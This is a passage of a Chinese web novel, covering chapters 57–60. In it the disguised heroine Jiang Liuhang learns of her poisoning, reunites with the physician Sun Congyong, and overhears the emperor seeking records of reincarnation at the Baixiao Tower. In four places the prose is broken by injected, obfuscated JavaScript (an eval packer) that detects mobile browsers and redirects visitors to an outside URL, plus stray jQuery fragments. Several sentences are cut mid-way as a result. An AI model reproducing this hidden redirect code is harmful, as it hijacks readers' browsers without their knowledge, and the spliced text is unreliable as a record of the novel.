方三的声音低沉下去:“鬼手神医五指刚搭上我手腕便跳了起来,说:‘你不是方三,体内根本没有增气丹的毒性。说!你是谁?’我没答话,鬼手神医又说:‘不对,你就是方三,我们在你偷盗当场将你擒获,墙上留名,绝不会错。去年梁州所擒男子也是你,那女子又是谁?’我说:‘不知道。’鬼手神医想了想,说:‘你们不是一伙,若是一伙,梁州时她就不会帮我擒住要逃走的你。’鬼手神医又问我从他那里偷走的什么,和侠女偷物谁先谁后。我不肯答他,他不知给我灌了什么药,让我生不如死。我不怕死,可我不能死,更不能废,我还要照顾姐姐,只得说了。他听我说偷物时机关完好,里面只有一颗回春丹,立即脸色大变,反复追问。” 姜六航放在刀柄上的手倏地收紧,骨节泛白。 “我只咬定和侠女素不相识,不知侠女身份,其它都照实说了。”方三偷偷看她一眼,声音不自觉地更低了几分,“鬼手神医听说后,失魂落魄,跌坐在地上,呆呆坐了许久,后来开始颠三倒四地自言自语,说:‘天下有谁能不破坏我设的机关,拿到里面的东西?神偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915214|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方三都没这本事,只有、只有……’又说:‘七个月已过,衡儿、衡儿不在了!’” 鬼手神医忽然像个孩子一样,嚎啕大哭起来,一连串的泪落下来,从下巴砸到地上,一边用力捶打自己的脑袋:“我给衡儿把脉,怎么就没认出来呢!她的身子,自小就是我调养的,我怎么就没认出来啊!就是变得驳杂混乱,我也不该认不出啊!” 方三那时被残毒折磨,身上如刀割,可看着鬼手神医泪水纵横,大声嘶吼,竭斯底里的样子,方三却觉得他比自己更可怜、更痛苦。 方三咽了咽口水,掩下这段未说。 姜帅听了,会很难过吧? “我听到鬼手神医的自语,于是猜到侠女就是赤霄剑客。”他道。 姜六航咬紧唇,心口闷疼得喘不过气来。 从庸叔叔,知道她吃下了增气丹,难怪会突然与师父决裂。 从庸叔叔是怨怪师父吓得她不敢回去,以致错过治疗的机会。 “后来呢?”她艰涩地问道,“你如何逃脱?” 方三:“被擒后,我一直在暗中冲击被封的穴道。鬼手神医自言自语一会后,突然转向我,说:‘如果你先偷走增气丹,衡儿就不会有事。你不是神偷吗?怎么这样没用?偷个东西都落在后头?’他咬牙切齿,提着一把剑来杀我,我一吓,就冲开了穴道,赶紧逃了。” 姜六航:“……” —— 方三走的时候,姜六航让他把小灰带走,方三坚决不肯,给她一个哨子:“我让小灰离侠女远点,侠女叫它时,吹这个哨子。” 姜六航推脱不掉,只得交代:“你告诉它,若不经我叫唤出现在我面前,我就捉了它炖汤喝。” 方三答应,出了庙,自去了。 第二天,姜六航决意去见从庸叔叔。 从庸叔叔怨怪师父,这心结,唯有她能解。 稍一打听,得知从庸叔叔在前路现过身,她赶紧循迹追去。 这天姜六航到一客栈用饭时,邻桌江湖人的议论声飘入耳中:“刚撞见鬼手神医追杀破山剑,啧啧,那叫一个惨……” 她心中一惊,凑过去询问。 几人见是个戴帏帽的女侠客,眼神微变,待瞥见她腰间的横刀,这才神色回复自然,告诉她:“赤霄剑客不是在和州露面了吗?鬼手神医找她没找到,便拿破山剑撒气。破山剑也是倒了血霉,被追得东躲西藏。喏,刚往安福县方向去了,侠女想看热闹,赶紧去。” 姜六航谢过他们,匆匆扒完饭,直奔安福县。一打听,从庸叔叔和师父已经交过手,师父负伤逃离,从庸叔叔在城里购买了一些药材,找了间客栈住下。 听说师父受伤,姜六航忧心如焚,连忙赶到从庸叔叔落脚的客栈。 伙计带着姜六航到一房门前,叩响门扉。 “什么事?”门内传来不耐的嗓音。 伙计:“客官,有人找。” 门打开,浓烈的药香扑面而来。房间里桌子中央放着一个小火炉,火苗闪烁,瓦罐中药汁翻滚。 孙从庸站在门口,一身刺目的金线锦袍,白玉簪束发,目光扫过姜六航腰间的横刀,眉头紧锁:“谁?没空!” 姜六航取下帏帽,声音喑哑:“从庸叔叔,是我。” 孙从庸浑身剧震,脸上血色倏然褪尽,又猛地涌回,嘴唇剧烈翕动,喉头滚动,却发不出半点声响。 下一瞬,他闪电般探手,死死扣住姜六航左腕,指尖探上她脉搏。 姜六航垂目,一动不动,任他探脉。鼻尖酸涩,眼眶阵阵发热。 从庸叔叔向来诊脉很快,一般五秒钟解决问题,任是如何的疑难杂症,也从不超过十秒。可是这回,姜六航默默地在心中数,十三、十四……十八,搭在她脉上的手指抖了起来。 姜六航抬眼,只见从庸叔叔眼眶通红,蓄满泪水,目光呆呆地落在她腕间。 58. 第 58 章 旁边伙计见势不对,连忙问:“客官,怎么了?可是这位病得厉害?” 他说着,怜悯地朝姜六航瞄一眼。听客栈里的人议论,住在这间房里的客官是天下医术最高明的神医,看这架势,这人怕是……没救了? 孙从庸猛地扭头,嘶声咆哮:“滚!” 伙计被这突如其来的大吼吓得一颤,连忙转身跑了,嘴里兀自嘀咕:“呸!凶什么凶!” 姜六航扶住摇摇欲坠的从庸叔叔,足尖轻巧一带关上房门,按着他在椅子上坐下,安慰道:“从庸叔叔,你别急,没事的。” “怎么没事?”孙从庸声音里含着浓浓的哽咽,“只剩……”后面的话,被他生生咽了回去。 姜六航平静接道:“只剩五个月了,对吗?” 孙从庸霍地抬头。 姜六航对上他的脸,看到他眉宇间细细的褶痕,不是很深,细小的,要凑近了才看得到。 但这些纹路,本不该出现在从庸叔叔脸上。 从庸叔叔一向注重保养,也善于保养,那些用在脸上的各个季节、各个时辰的瓶瓶罐罐的膏脂足有二十几种,还曾对她说:“小衡儿,这些你现在用不上,等你再大些,从庸叔叔给你配置专用的,保你到六十岁时仍面若少女,嫩滑白皙。” 姜六航不知那些膏脂是否真有此神效,但四年前梁州一别时,从庸叔叔容光焕发,肌肤紧致,分明还是个青年模样。 是什么,让他在短短四年间陡生老态? 是因为她吗? 是因她死讯传来的锥心之痛,连那些神奇的膏脂也压不住岁月蚀刻的痕迹吗? 一股暖流裹挟着尖锐的酸楚撞上心口,姜六航蹲下身,用力握紧那双冰凉的手:“从庸叔叔,我知道,我只剩五个月了。可你上次,不是说最多七个月吗?” 孙从庸目中流露出疑惑不解。 是啊,听闻衡儿在黑岩山现身,狂喜之后是更深的恐惧,唯恐是误传,空欢喜一场。毕竟四年前那脉象,分明是绝脉。 姜六航已经胡诌过一位不愿入红尘的老人,这时不需多想,信手拈来:“从庸叔叔,我遇见了一位避世高人,他给我喝了几副药,硬生生延了三年多寿命。他说要根治,须得随他入谷,施以秘传针法,日日不停,持续五年。但他师门有令,进谷的外人永世不得出,所以先前我才未去。他留了联络方法,说我若改了主意,可去寻他。从庸叔叔你放心,我死不了,只是,我若去了,就再见不到从庸叔叔了。” 孙从庸先是狂喜。 恒儿的病竟然有治! 他素来自负医术冠绝天下,他判了死期的病症,绝无生还可能。可活生生的衡儿就在眼前,由不得他不信世间真有此等奇人。 旋即,他又警惕起来:“为何非得入谷?不能在谷外施针?” 姜六航:“他们谷里有规矩,这套针灸的方法不能在谷外用,以防被人学去。” “那人是男是女?多少岁?”孙从庸追问,目光锐利。 看着从庸叔叔警惕的神情,姜六航心里转了个弯,道:“是个六十来岁的老婆婆。”年老的妇人总让人放心些。 她宽慰着从庸叔叔:“我又没宝物,有什么值得她骗的?” 孙从庸拧紧眉头:“谁说没什么骗的?衡儿这么可爱漂亮,说不定她山谷里有个儿子,把你骗去给她当儿媳妇。” 姜六航:“……从庸叔叔,你觉得,我要是不愿意,她儿子敢娶我吗?不怕我一剑削了他脑袋?” 孙从庸面色稍霁,但仍不放心:“他们要制住你,不一定要武功,毒药、迷香,防不胜防。衡儿你不知人心险恶,没准就会中招。” 他思索着:“何种针法竟能根治?我琢磨琢磨,如果能想出来,就用不着她了。有了具体的方向,想起来容易些。” 姜六航:“……” 本就是她胡诌的,怎么琢磨也琢磨不出来啊!这方向从根本上就不对啊! “还有两年时间,兴许能想出来。” 姜六航五指遽然收紧:“从庸叔叔,你说什么?什么两年时间?” 孙从庸看了眼炉上药罐:“衡儿,这药差不多了,我再调几次,喝下去后,辅以我独门手法,将你的内力散于四肢百骸,护住心脉,可保你两年无虞。” 他说着抬手,带着万般怜惜,轻轻抚过蹲在面前的女孩的发顶。 兴元元年,突闻噩耗,悲痛过后,他开始疯魔般钻研解除增气丹积毒的办法。 那时衡儿早已不在,研究出办法也没用了,可他只有在做这事时,才能稍稍缓解心里的疼痛。或许心底深处,还藏着一丝连自己都不信的微末希冀。 三年心血,终成此方。 苍天有眼,衡儿还在,这药,终是有了用处。 “可是,”姜六航被这突如其来的消息震得懵住,片刻后眼神又黯下来,咬了咬唇,“两年后,那毒还是在,我还是要入谷。” 孙从庸得了针灸这线曙光,倒不似先前绝望:“两年!我就不信参不透那针法关窍!” 姜六航:“……” 孙从庸忽又长叹:“如果有天心草,倒有六成把握拔除你体内毒性。可惜此草早已绝迹,连百晓楼都找不到。” 姜六航愣了一愣,连忙问:“天心草?那是何物?” 孙从庸解释。 天心草是一种珍贵且稀少的药草,长在与大夏北境接壤的平沙国。前朝时,平沙国药商贩卖天心草过来,着实赚了些钱,引得时人疯狂采掘,最后竟是把这草挖得绝迹了。 此草性喜苦寒,不适宜在中原生长,前朝中后期时,天心草便已绝迹中原。 他曾重金托请百晓楼搜寻,却被断然回绝,显然是世间再无此物。 一道微弱却炽烈的光骤然刺破姜六航心底的阴霾,心在胸腔里狂跳起来。 她竟还有留下的可能? 纵使这希望渺茫如风中残烛,她也要死死抓住。 她想留在亲人身边。 她想陪伴大哥左右。 她想要和同伴们大展身手,创立盛世。 “我们去百晓楼问问,到底什么情况。”她努力压住心中的激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时是正午,烈日灼灼。姜六航戴着帏帽,孙从庸顶着竹笠,沿蜿蜒山径上行。 百晓楼在山下设有据点,接待委托之人,山上不见外客,两人一路行来未见人影。 行到半山,前方忽闻脚步声传来,可被树木遮挡着,看不见人。听脚步声,足有十数人之众,步伐沉稳有力,是一群武功高手。 姜六航心中纳罕。 此路直通百晓楼核心禁地,向来拒见外客。前方是何人?竟不知百晓楼规矩? 转过一片茂密树丛,眼前豁然开朗。 前方一行人也恰好闻声回头。 竟是御林军! 大哥站在他们中间,头戴帏帽,手持佛珠,高处枝叶投下的光影在他身上斑驳交错。 “是皇上。”姜六航低声道。 “哦?那个戴帷帽的?” 姜六航点头:“是他。” 孙从庸很是讶异,“皇帝也来百晓楼买消息?他的锦衣卫是摆设不成?什么消息,连锦衣卫都探不出来?” 姜六航也觉得奇怪。 “嗯……皇帝这人还不错,帮着找到你爹娘尸骨安葬,又贴告示宣扬你的功绩,既遇上了,我们去和他打个招呼。” “好。”姜六航应道。 两人举步上前,秦信等人也没再往前走,一行人停驻原地,看着两人走过来。 帷帽之下,秦信眼中暗色涌动,捏着佛珠的手微微收紧。 59. 第 59 章 离着几步远,叔侄两人停下。 姜六航抱拳:“皇上,好巧。您也来托百晓楼探消息?” 秦信微微颔首,手上慢慢转着佛珠,声音沉肃,听不出什么情绪:“姜姑娘。” 姜六航还等着他的下文,不想他却闭口不言了。 孙从庸看看都戴着帏帽,对站着冷场的两人,无端觉得气氛有些诡异。但他也没多想,官老爷嘛,跟他们江湖人没话讲,再正常不过。 他自报身份,谢过秦信的恩情,拍着胸脯豪气道:“皇上日后若是患上难以诊治的病症,尽管派人来找我,孙某必尽全力。” 众军士嘴角抽动。这话听着是好意,可怎么那么像咒人呢? 孙从庸本人却不觉得有何不妥。 向来都是别人哭着喊着求他治病,他主动开这个口,还是念着皇帝寻到好友尸骨以及给衡儿正名的恩情。 秦信冷淡地道:“多谢神医,但宫中有御医,就不劳烦神医了。” 孙从庸脸色“唰”地沉了下来。 衡儿一家子,还有混蛋黄超不算,这是他第一次主动承诺给人治病,竟遭到拒绝。 倒显得他热脸贴冷屁股了。 没眼光的小子! 那什么御医,能比得过他吗? 秦信仿佛没看到他的不虞之色,继续道:“再者,我搜寻姜允、徐真两位居士的尸骨安葬,是受衡王所托,与两位不相关,不必觉得受了我的恩惠。姜姑娘剿灭马荣有功,朝廷向民众说明,应当应分,姜姑娘不必将此事挂怀。” 姜六航听着这一番话,眨了眨眼。 她怎么觉得,大哥在撇清关系呢? 孙从庸显然也如此想,臭着脸一把拽住姜六航:“既如此,衡儿,我们走。” 姜六航悄悄拉了拉他的袖子,让他不要生气,对一副事不关己模样站在那的人道:“皇上,一起走吧?都是去百晓楼,正好同路。” “不必。”秦信声音依旧冷淡,“你们先行,我们要在此稍歇。” 姜六航:“……” 她有点不确定,大哥是真要休息,还是不愿和她一起。 但既然大哥这样说,她也不好勉强。 从庸叔叔已经哼了一声,往前走了,她只得也跟着过去。 这条路很窄,姜六航走过时,离秦信只有半臂之距,清爽的皂香钻入他鼻间。 像六航身上的气味。 秦信猛地攥紧佛珠,指腹被坚硬的珠子硌得生疼。 他在想什么呢?为何要把六航和这女子比较? 以为和这女子再不会相见,却不巧又遇上了。 惹得他心烦。 “皇上,我们去了。”姜六航走过去后,回头摆手告别。 我们去了。 我去了。 我去了、我去了、我去了! 三军阵前,黑岩山浓雾中,一幅幅画面在脑海里闪现,一声声“我去了”绞缠撕扯,搅得秦信脑仁生疼。 姜六航走出几步,忍不住又回头望。 大哥说要歇息,却没坐下,仍然侧身站立在路上,帷帽微垂头朝向路的左边。 她跟着望过去,全是一棵棵的树,层层叠叠的,什么也看不清。 孙从庸拽她:“走走走!有什么好看的?那小子!瞧他那副高高在上的样子,指不定心里怎么嫌弃我们这些草莽呢。哼!当皇帝了不起啊?还不是有查不出的消息,要求助百晓楼?” 姜六航无奈,低声安抚:“从庸叔叔你别生气,他绝不是那种人,他连乞丐、奴仆都平等看待,只要有能力,都一样地提拔重用。今天这样,肯定是心里有难事,没心情应付我们。” 孙从庸想想也是,连皇帝的身份都解决不了,肯定是有天大的难事解决不了。这样一想,怒气稍息,不再气呼呼的。 姜六航安抚住从庸叔叔,自己心里却沉甸甸的,像坠了一块巨石。 大哥到底遇到了什么难事? 等会他和今禾姐见面,一定要想办法偷偷瞧一瞧。 —— “衡妹妹!” 请人通传后,姜六航叔侄两人只在外等了片刻,即有一个身穿利落劲装的女子风一样卷了出来,欢喜地迎向姜六航,一把紧紧抱住她。 这位就是百晓楼楼主,姓宋名今禾,比姜六航大一岁。 当年姜六航挑战各武林高手,她亲自跟在姜六航后面,记录交战情况,两人由此相识,后来又成为好友。 “今禾姐!”姜六航回抱她。 两人九年未见,却一点不生疏,情谊丝毫未减,挽着手进入楼内,相挨着坐到一把宽椅上,四目相对,眉眼间都是重逢的喜悦,满腹说不完的话。 但想到大哥马上就要来,姜六航抓紧时间先说了正事。 宋今禾一口应下:“放心!只要这世上还有一株天心草,我必定把它找出来。”她说着,笑容敛去,目中含着深深的忧虑,握紧了姜六航的手,“可是,万一天心草真的绝迹了,孙神医又没想出针灸的方法,衡妹妹,你难道真的去那山谷里,再不出来?” 姜六航点头:“总比死了强。” 孙从庸冷哼道:“还有个法子,抓住那个人,逼着她给你治。” 姜六航吓了一跳,连忙道:“那不行!那位老婆婆说过,出谷的人都发过毒誓,宁死也不泄露谷中的医术。” 宋今禾抚了抚衣袖,沉思着道:“百晓楼的记载中从未有这样一个神秘山谷,听你所言,这山谷应该存在不短的时日,且出谷的人不止一个,按说,怎么都逃不开百晓楼的耳目。就是药王谷,传说神秘莫测,世人都不知其所在地,可其实百晓楼是知道确切位置的。” 孙从庸在旁若有若无地哼了一声。 姜六航心虚地找补:“兴许,那山谷在远离中原的蛮荒之地,百晓楼的势力没到那里?” 正说着,侍从来报:“楼主,兴元帝来访,见不见?” 宋今禾一怔,随即正色道:“普天之下,莫非王土,既是皇帝来,哪能不见?但百晓楼也有百晓楼的规矩。你去告诉他,只能带一个人进来,如若不肯,启动机关,请他们闯过来。” 侍从应声而去,过得一刻,再次进来回报:“楼主,兴元帝带了一名军士随行,已到院外。” 孙从庸跟着侍从去客房,姜六航道:“我还有好多话要和今禾姐说,不去客房了,在东耳房里等一下就是。” 宋今禾含笑看她一眼,眼底掠过一丝了然:“也好。” —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927944|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百晓楼主院的东耳房,历来是楼主伴侣小憩之地。这代的楼主虽有几个宠爱的人,却没一个有资格进入这里,于是一直空置。 九年前姜六航在此做客时,宋今禾特意安排她住在这里,方便两人随时相聚。 姜六航原以为九年过去,这里必定冷冷清清,布满灰尘,哪知推门进去,只见床上被褥松软洁净,桌椅纤尘不染,墙角的长颈瓶里插着几支应季的野花,种种布置竟一如她离去时的模样,仿佛时光在此停滞。 姜六航关上门,径直走到西边墙壁处,熟门熟路地摸索到一处凸起,用力一按。 墙壁无声地向内滑开,现出一个一人高的幽深洞口。 姜六航闪身进入,快步走过通道,来到尽头一间房。推开墙上一扇小窗,正对着一面华丽雕花屏风,屏风正中,嵌着两个隐蔽的小圆洞。 她屏住呼吸,双眼贴上洞口。 那头的室内,秦信已取下帏帽,露出冷峻的侧脸,冯简肃立其后。 宋今禾坐在主位,身后也侍立着一名心腹。 秦信把两个打开的盒子沿着桌面推到宋今禾面前。 一个里面满满当当塞着银票,另一个则盛着几颗流光溢彩的硕大珍珠。 “请宋楼主为我探些消息,这是酬金。”秦信声音低沉地道。 宋今禾瞟了盒子一眼,谦虚道:“皇上耳目遍布天下,您都不能探得的消息,百晓楼只怕也无能为力。” “皇宫中许多资料在战乱中丧失,大夏又是新建,根基尚浅,比不得百晓楼三百年的积累。”秦信身体微微前倾,目光锁住宋今禾,带着迫人的压力,“我知此事不易,但望宋楼主务必一试。” “请皇上明示,是要探什么消息?” 秦信收回手,指节按在腰间匕首的刀柄上,微微泛白。他闭了一下眼,再睁开时,眼底翻涌着深不见底的暗流,声音喑哑,带着一丝极力压抑却仍泄露出来的紧绷:“听闻百晓楼历年的记载装满三座楼,请宋楼主查一查,可有关于转世之人的记载。若有,是男是女,年纪几何,何方人氏,因何故去,故去多久后转世,这些情况,越详细越好。” 仿佛一道惊雷在耳畔炸响,屏风后,姜六航瞳孔骤缩,整个身体都僵硬了。 转世之人? 大哥……寻转世? 他疯了!怎会信这样的虚妄之事? 宋今禾端着茶盏的手在空中凝滞须臾,才缓缓放下,强行控制着目光没有偏移。 秦信捕捉到她细微的凝滞,锐利的目光扫过室内,在屏风上那繁复华丽的女子雕刻处定了一瞬,没有察觉异常,收回视线,继续道:“另外,再请宋楼主查查这三百年间,是否有人性情骤然大变,判若两人。” 宋今禾深吸一口气,双手推回盒子:“不用查了,百晓楼没有这样的记载。” 秦信却没看那盒子,只盯着宋今禾,一字一顿地道:“宋楼主记性再好,也难保万无一失。还是查查的好。” 他身体前倾,迫人的压力逼向对方:“宋楼主若是人手不足,朕的御林军可以相助。” 御林军,相助? 这是明晃晃的威胁! 姜六航看见今禾姐搭在膝上的手指蓦地收紧,泛出青白。 60. 第 60 章 待其他人离去,宋今禾移开屏风,姜六航自窗口跃入。 宋今禾拉着她的手,脸上气出一片嫣红,控诉地道:“仗势欺人!冷冰冰硬邦邦,半点意趣也无,白瞎了那张好脸!难怪快三十了还娶不上媳妇!” 姜六航下意识反驳:“才二十六。” 宋今禾没好气地瞪她,可是那双妩媚的桃花眼里水汪汪的,毫无威胁力。 姜六航按着宋今禾坐下,又拖了把椅子挨着她,塞过一杯茶:“好啦,消消气,小心上火长痘。他要查,你给他查便是。横竖你要帮我寻天心草,也得翻遍那些陈年旧档,顺手的事,还能白得一大笔钱财,” 宋今禾喝了一口茶,敛了怒容,正色问道:“衡妹妹,你可知他查转世、查换魂,是为谁?” 姜六航怔怔地握了握刀柄。 大哥从前不信鬼神之事。 这几年,他召僧道入京,修庙宇,筑高楼。有说他求长生的,有说他为故人招魂的。她总觉内情不简单,不可尽信。 可刚才,她亲耳听见,大哥要查转世、换魂,甚至不惜以武力相胁,势在必得。 “衡妹妹?” 姜六航回过神,见今禾姐正定定凝视着她。 “是为他娘?”姜六航试探地问。 “不是。”宋今禾摇头,“是为了衡王。” 是为她? 姜六航不觉睁大眼。心底竟……并不十分意外。 宋今禾:“百晓楼查得,他建庙宇,是为替衡王诵经祈福;筑高楼,是为替衡王招魂引魄。” 姜六航抿紧唇,心口翻涌着刺痛、愧疚、怜惜、忧惧…… 民间传说,竟是真的。 那个曾对鬼神之说嗤之以鼻,甚至对以鬼神名义达到某些目的行为深恶痛绝的大哥,在为她招魂。 该是在怎样的绝望、悲痛下,才会将最后一丝渺茫的希望,寄托于自己从没信过的虚妄之上? 可这是一条歧路! 朝中那么多大臣——姜大人、应尚书、谢尚书……竟无一人劝住他吗? “招魂不成,如今又把脑子转到了转世、换魂上。”宋今禾饱含感情地长叹一声,“他对衡王情深至此,除非衡王复生,否则他这辈子,恐怕都不会娶媳妇了。” “航航,统早说过反派有问题吧?他对你心思不纯!”999冷不丁开口,“你还不信。你看,百晓楼楼主也这样觉得。” “别胡说。”姜六航斥道,心口却莫名发慌。 那边宋今禾已以袖掩面,声音悲切欲绝:“卿去矣!吾魂消心已残。山倾水竭情难断,星陨天崩爱永恒。生当守贞至白头,死亦同穴共黄泉!” 姜六航:“……” 她一把拉下宋今禾的手。 果然,那张芙蓉面上干干净净,一滴泪也无,眼尾微挑,含着狡黠明媚的笑意斜睨过来。 满腔的沉重忧伤顿时化作无可奈何与哭笑不得,姜六航嗔道:“今禾姐,你别乱扯!皇上确实悲痛衡王之死,但那是对手足兄弟的情谊,你怎么就扯到男……男之情上去了?再说,什么叫‘除非衡王复生,否则他这辈子,恐怕都不会娶媳妇了’,说得好像衡王活过来,他就能娶衡王做媳妇似的,你是不是忘了衡王是男子?” “傻妹妹,是你错了。”宋今禾慢悠悠道,“情之所钟,何分男女?龙阳断袖,亦可缠绵悱恻,刻骨铭心。你怎能因他二人都是男子,便断定只是纯粹的兄弟情?” 姜六航心想:“我当然能断定啊,因为我就是当事人之一。我对大哥,从没有那方面的想法,大哥对我,也从未有逾矩之举。” 这话却无法出口,只得憋闷在心。 她苦恼地想:“今禾姐怎么和999一样,也这样胡乱猜测呢?” 再转念一想,也怪不得她们。 她和大哥志同道合,生死与共,那份情谊早已超越寻常兄弟,深厚复杂得令人难以分辨。 就连她本人,当初梁州分别时,不也恍惚产生错觉,竟然觉得大哥行为有异?前些日子和州重逢,太守府前,999那一通分析,不也让她心神扰乱? 亲情、友情、战友情、同道之谊……太多太深的情感交织在一起,早已分不清。 好在后来她想清楚了。 宋今禾握着姜六航的手:“况且,情爱是藏不住的,对兄弟与对心上人的情态,天差地别。傻妹妹,你是见得少,心思又不在这上面,分不清。我不同,姐姐我见过千般世情,不管是男女,还是男男、女女也罢,那点心思,休想瞒过我去。方才皇帝说着要寻那转世之人时,眼里的隐忍、炽热、占有、执着,可不像你口中的兄弟之情。” 姜六航眼前倏地闪过一双凤眸。 四年前,离开梁州的前一天,山顶之上,大哥为她烤着野味,说起母亲,说起少时……下山时,她去牵赤云,大哥在身后唤她。 999说,大哥唤的是“六六”。 她回眸。 大哥凝望着她。 那双凤眸里,翻涌着无数看不懂的情绪,是不是就是今禾姐说的隐忍、炽热、占有、执着? 这念头如电光火石般闪过脑海,姜六航立刻强行挥散。 不能被今禾姐带偏! 宋今禾忽地轻呼:“呀!” 姜六航回神,连忙问:“怎么了?” 宋今禾神情异常严肃:“我刚想到一个顶顶要紧的问题。” 姜六航被她神色感染,不由紧张:“什么问题?” 宋今禾目光灼灼:“皇帝是喜欢男子,然后恰好喜欢上衡王,还是喜欢衡王,而衡王恰好是个男子?” 姜六航:什么跟什么? 姜六航脑子里还在转圈,宋今禾已接着道:“不行,这个问题很重要,一定要弄清楚。我想办法去试一试。” 姜六航吓了一跳:“你怎么试?试这个作甚?你别乱来!” 宋今禾没什么诚意地应道:“不乱来不乱来,你放心。” 姜六航哪里肯信,还要再劝,宋今禾忽然话锋一转:“衡妹妹,你这几年究竟去了哪里,我怎么找不到你?” 姜六航顿了顿,歉然道:“我去办一件要紧事,今禾姐,我不能说。” 宋今禾大度地摆手:“没事,不能说就不说。事办成了吗?” 姜六航眉眼舒展:“成了!” “那就好。”宋今禾深深看她一眼,指尖轻轻拂过衣袖,状似随意道,“你这藏匿的功夫当真了得,百晓楼倾全楼之力,愣是找不到你的去向,让我担心了好几年。” 姜六航心虚地笑。 宋今禾忽然伸手,在她鼻尖用力一刮。有点疼,姜六航摸了摸,怀疑被刮红了。两人以前也玩闹过,你刮我一下,我掐你一把,但手下都有分寸,这次今禾姐大约是有些着恼,明显下手重了些。 宋今禾又捏了一下她的脸,这才收回手,仿佛闲聊般道:“说起来,还有一人躲避追查的本事,竟也不在你之下。此人横空出世,百晓楼掘地三尺也查不到他半点来历。更奇的是,他的死明明疑点重重,百晓楼却硬是查不出丝毫端倪。” 姜六航心中忽然有不好的预感:“是谁?” 宋今禾注视着她,一字字道:“是姜帅,衡王。” 心口“砰砰”狂跳,几乎要撞出胸腔。 宋今禾生就一双妩媚含情的眼,可当那层水汽褪去,便如清澈见底的寒潭,被她凝视时,仿佛所有秘密都无所遁形。 现在姜六航就有今禾姐把她全部看穿的感觉。 宋今禾与谢思礼,皆是她平生仅见的破案奇才,手法却截然不同。 谢思礼重证据与严密推理,层层拨茧抽丝,而宋今禾,更多依仗直觉,她能敏锐察觉到蛛丝马迹间的联系,拼凑出真相,再行验证, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931506|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而往往她的猜想能达到惊人的准确率。 姜六航干笑:“是……姜帅啊。” “是啊,是姜帅。”宋今禾目光依旧牢牢锁着她,“你和姜帅还蛮有缘的,都姓姜,武功都是当世绝顶。你见过姜帅没有?” 姜六航强自镇定,稳住声音:“没有。姜帅出现的时候,我正巧在外办事。等我事毕归来,姜帅已经去世。时间不凑巧,不然我还可以见识见识姜帅的霹雳刀法。”她做出遗憾的神情。 宋今禾嘴角挑起一抹意味深长的弧度,拖长了调子:“哦,那可真是——好巧啊,正好错过。” 姜六航心弦紧绷,几乎听到了马甲碎裂的细微声响。 就在她快要扛不住那洞悉一切的目光时,宋今禾周身气场骤然一松,亲昵地环住她的肩膀,语气恢复平常:“好了,衡妹妹,我去安排人手查阅楼中记载。你且在此稍歇,等我回来再叙。” 姜六航如蒙大赦,连忙应下。 —— 其后的几天,宋今禾调来了尽可能多的人手,轮换着查阅堆满三座书楼的记载,楼里的灯火彻夜不熄。宋今禾忙得脚不沾地,只能抽空与姜六航说上几句话。 孙从庸也很忙,整日药炉不离身,煎药、试药,调整药方。 姜六航成了最清闲的一个。 她在百晓楼附近溜达,有时走到秦信暂居的客房前。 其实,她心底盼着能偶遇大哥,可惜回回只见冯简抱着厚重奏章步履匆匆地进出。 这天运气却好,姜六航刚在门口驻足,便见戴着帏帽的大哥自远处走来。他走来的方向正是通往山下,想必刚刚去见了等候在百晓楼外围的御林军,正好这时返回。 视线里刚一出现大哥的影子,姜六航迅速将手中拿着的帏帽戴上。 当年盗取杨承尸首撞见师父,师父一对上她的眼便喊出她的名字。大哥对她的熟悉程度,恐怕不比师父差。 她和姜帅性别不同,大哥应该想不到那方面去。师父当初一口喊出来,是因她那时蒙着脸,只露出一双眼,而穿着的武服和女子的样式差别不大,师父夜中一时没看清,于是也就没有先入为主地以为她是男子。否则的话,只怕也万万不会把她和姜衡联系起来。 虽不觉得大哥能由一双眼睛认出她,戴上帏帽终归更稳妥些。 待秦信走到近前,姜六航主动招呼:“秦爷。” 百晓楼里知道秦信身份者寥寥,在外面都称呼他“秦爷”。 秦信在六七步外停下,问:“何事?” 姜六航张了张嘴,千言万语堵在喉间,最终只挤出一句:“秦爷……刚才出去了?” 秦信不语。 姜六航反应过来自己问了句废话——从那头过来,明摆着的是出去了啊,还用得着问吗? 此时在大哥的眼里,她就是一个没话找话,想方设法套近乎的谄媚之人吧? 姜六航尴尬地捏了捏衣角:“冯近卫怎么没跟着秦爷?” 